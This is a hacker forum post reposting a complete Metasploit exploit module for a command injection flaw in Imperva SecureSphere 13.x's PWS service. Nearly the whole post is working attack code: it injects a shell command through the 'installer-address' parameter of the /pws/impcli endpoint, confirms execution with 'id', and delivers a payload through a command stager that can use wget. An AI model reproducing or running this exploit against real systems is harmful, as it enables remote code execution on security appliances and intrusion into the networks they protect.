跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit)


KaiWn

推荐的帖子

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'           => 'Imperva SecureSphere PWS Command Injection',
        'Description'    => %q(
          This module exploits a command injection vulnerability in Imperva
          SecureSphere 13.x. The vulnerability exists in the PWS service,
          where Python CGIs didn't properly sanitize user supplied command
          parameters and directly passes them to corresponding CLI utility,
          leading to command injection. Agent registration credential is
          required to exploit SecureSphere in gateway mode.

          This module was successfully tested on Imperva SecureSphere 13.0/13.1/
          13.2 in pre-ftl mode and unsealed gateway mode.
        ),
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'rsp3ar <lukunming<at>gmail.com>' # Discovery/Metasploit Module
          ],
        'References'     =>
          [
            [ 'EDB', '45542' ]
          ],
        'DisclosureDate'  => "Oct 8 2018",
        'DefaultOptions' => {
          'SSL' => true,
          'PrependFork' => true,
        },
        'Platform'        => 'linux',
        'Arch'            => [ARCH_X86, ARCH_X64],
        'CmdStagerFlavor' => %w{ echo printf wget },
        'Targets'         =>
          [
            ['Imperva SecureSphere 13.0/13.1/13.2', {}]
          ],
        'DefaultTarget'   => 0))

    register_options(
      [
        Opt::RPORT(443),
        OptString.new('USERNAME', [false, 'Agent registration username', 'imperva']),
        OptString.new('PASSWORD', [false, 'Agent registration password', '']),
        OptString.new('TARGETURI', [false, 'The URI path to impcli', '/pws/impcli']),
        OptInt.new('TIMEOUT', [false, 'HTTP connection timeout', 15])
      ])
    register_advanced_options [
      OptBool.new('ForceExploit',  [false, 'Override check result', false])
    ]
  end

  def check
    begin
      res = execute_command('id')
    rescue => e
      vprint_error("#{e}")
      return CheckCode::Unknown
    end

    if res.body =~ /uid=\d+/
      return CheckCode::Vulnerable
    end

    CheckCode::Safe
  end

  def exploit
    unless CheckCode::Vulnerable == check
      unless datastore['ForceExploit']
        fail_with(Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.')
      end
      print_warning 'Target does not appear to be vulnerable'
    end

    print_status("Sending payload #{datastore['PAYLOAD']}")
    execute_cmdstager
  end

  def execute_command(cmd, opts = {})
    data = {
      'command'     => 'impctl server status',
      'parameters'  => {
        'broadcast'         => true,
        'installer-address' => "127.0.0.1 $(#{cmd})"
      }
    }

    res = send_request data

    return unless res

    if res.code == 401
      fail_with(Failure::NoAccess, 'Authorization Failure, valid agent registration credential is required')
    end

    unless res.code == 406 && res.body.include?("impctl")
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end

    res
  end

  def send_request(data)
    req_params = {
      'method'      => 'POST',
      'uri'         => normalize_uri(target_uri.path),
      'data'        => data.to_json
    }

    if !datastore['USERNAME'].blank? && !datastore['PASSWORD'].blank?
      unless @cookie
        res = send_request_cgi({
          'method'      => 'GET',
          'uri'         => normalize_uri('/')
        })
        unless res
          fail_with(Failure::Unreachable, "#{peer} - Connection failed")
        end

        @cookie = res.get_cookies
      end

      req_params['cookie'] = @cookie
      req_params['headers'] = {
        'Authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD'])
      }
    end

    send_request_cgi(req_params, datastore['TIMEOUT'])
  end
end
            
链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...